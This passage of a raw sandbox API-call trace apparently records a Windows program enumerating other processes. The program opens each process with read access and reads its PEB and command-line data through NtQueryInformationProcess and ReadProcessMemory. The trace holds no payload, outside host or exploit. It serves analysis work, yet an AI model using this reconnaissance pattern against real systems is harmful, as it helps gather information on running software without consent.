(in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.736] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x29c018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.737] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.737] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x472660, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.737] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x472258, lpBuffer=0x104c5a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.737] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.737] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.737] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x29c020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.738] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x471c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.738] malloc (_Size=0x72) returned 0xea8ba0 [0192.738] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4722c2, lpBuffer=0xea8ba0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8ba0*, lpNumberOfBytesRead=0x0) returned 1 [0192.738] free (_Block=0xea8ba0) [0192.738] CloseHandle (hObject=0x414) returned 1 [0192.738] _ui64tow_s (in: _Value=0x10e4, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4324") returned 0x0 [0192.739] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="4324") returned 4 [0192.739] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.739] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.740] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10e4) returned 0x414 [0192.740] GetLastError () returned 0x0 [0192.740] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.740] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x3c1018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.740] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.740] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x482660, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.740] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x482258, lpBuffer=0x104c5a0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.741] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.741] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.741] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x3c1020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.741] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x481c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.741] malloc (_Size=0x74) returned 0xea8e20 [0192.741] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4822c4, lpBuffer=0xea8e20, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8e20*, lpNumberOfBytesRead=0x0) returned 1 [0192.742] free (_Block=0xea8e20) [0192.742] CloseHandle (hObject=0x414) returned 1 [0192.742] _ui64tow_s (in: _Value=0x10ec, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4332") returned 0x0 [0192.742] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="4332") returned 4 [0192.742] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.742] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.743] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10ec) returned 0x414 [0192.743] GetLastError () returned 0x0 [0192.743] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.743] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x332018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.743] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.744] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x532640, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.744] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x532258, lpBuffer=0x104c5a0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.744] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.744] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.744] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x332020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.744] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x531c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.745] malloc (_Size=0x66) returned 0xeb64d0 [0192.745] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5322b6, lpBuffer=0xeb64d0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb64d0*, lpNumberOfBytesRead=0x0) returned 1 [0192.745] free (_Block=0xeb64d0) [0192.745] CloseHandle (hObject=0x414) returned 1 [0192.745] _ui64tow_s (in: _Value=0x1164, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4452") returned 0x0 [0192.746] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="4452") returned 4 [0192.746] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.746] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.746] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1164) returned 0x414 [0192.747] GetLastError () returned 0x0 [0192.747] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.747] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x2cb018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.747] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.747] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x532690, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.747] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x532258, lpBuffer=0x104c5a0, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.747] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.748] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.748] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x2cb020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.748] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x531c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.748] malloc (_Size=0x84) returned 0xe87af0 [0192.748] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5322d4, lpBuffer=0xe87af0, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe87af0*, lpNumberOfBytesRead=0x0) returned 1 [0192.749] free (_Block=0xe87af0) [0192.749] CloseHandle (hObject=0x414) returned 1 [0192.749] _ui64tow_s (in: _Value=0x116c, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4460") returned 0x0 [0192.749] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="4460") returned 4 [0192.749] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.749] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.750] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x116c) returned 0x414 [0192.750] GetLastError () returned 0x0 [0192.750] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.750] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x2c3018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.751] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.751] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5d2650, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.751] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5d2258, lpBuffer=0x104c5a0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.751] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.751] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.751] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x2c3020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.752] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5d1c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.752] malloc (_Size=0x70) returned 0xea8e20 [0192.752] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5d22c0, lpBuffer=0xea8e20, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8e20*, lpNumberOfBytesRead=0x0) returned 1 [0192.752] free (_Block=0xea8e20) [0192.752] CloseHandle (hObject=0x414) returned 1 [0192.752] _ui64tow_s (in: _Value=0x11e8, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4584") returned 0x0 [0192.753] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="4584") returned 4 [0192.753] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.753] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.754] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x11e8) returned 0x414 [0192.754] GetLastError () returned 0x0 [0192.754] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.754] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x29a018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.754] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.754] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x582640, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.754] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x582258, lpBuffer=0x104c5a0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.755] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.755] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.755] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x29a020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.755] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x581c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.755] malloc (_Size=0x6a) returned 0xea8d20 [0192.755] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5822ba, lpBuffer=0xea8d20, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8d20*, lpNumberOfBytesRead=0x0) returned 1 [0192.756] free (_Block=0xea8d20) [0192.756] CloseHandle (hObject=0x414) returned 1 [0192.756] _ui64tow_s (in: _Value=0x11f8, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4600") returned 0x0 [0192.756] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="4600") returned 4 [0192.756] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.756] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.757] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x11f8) returned 0x414 [0192.757] GetLastError () returned 0x0 [0192.757] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.757] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x281018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.757] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.758] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x6126a0, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.758] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x612258, lpBuffer=0x104c5a0, nSize=0x7e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.758] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.758] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.758] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x281020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.758] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x611c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.759] malloc (_Size=0x86) returned 0xe878b0 [0192.759] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x6122d6, lpBuffer=0xe878b0, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe878b0*, lpNumberOfBytesRead=0x0) returned 1 [0192.759] free (_Block=0xe878b0) [0192.759] CloseHandle (hObject=0x414) returned 1 [0192.759] _ui64tow_s (in: _Value=0x1200, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4608") returned 0x0 [0192.759] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="4608") returned 4 [0192.760] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.760] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.760] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1200) returned 0x414 [0192.760] GetLastError () returned 0x0 [0192.760] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.761] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x2ec018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.761] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.761] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5f2660, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.761] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5f2258, lpBuffer=0x104c5a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.761] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.761] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.762] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x2ec020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.762] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5f1c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.762] malloc (_Size=0x72) returned 0xea9120 [0192.762] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5f22c2, lpBuffer=0xea9120, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9120*, lpNumberOfBytesRead=0x0) returned 1 [0192.762] free (_Block=0xea9120) [0192.762] CloseHandle (hObject=0x414) returned 1 [0192.763] _ui64tow_s (in: _Value=0x1248, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4680") returned 0x0 [0192.763] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="4680") returned 4 [0192.763] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.763] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.764] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1248) returned 0x414 [0192.764] GetLastError () returned 0x0 [0192.764] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.764] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x238018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.765] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.765] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x6726b0, lpBuffer=0x104cc60, nSize=0x120, 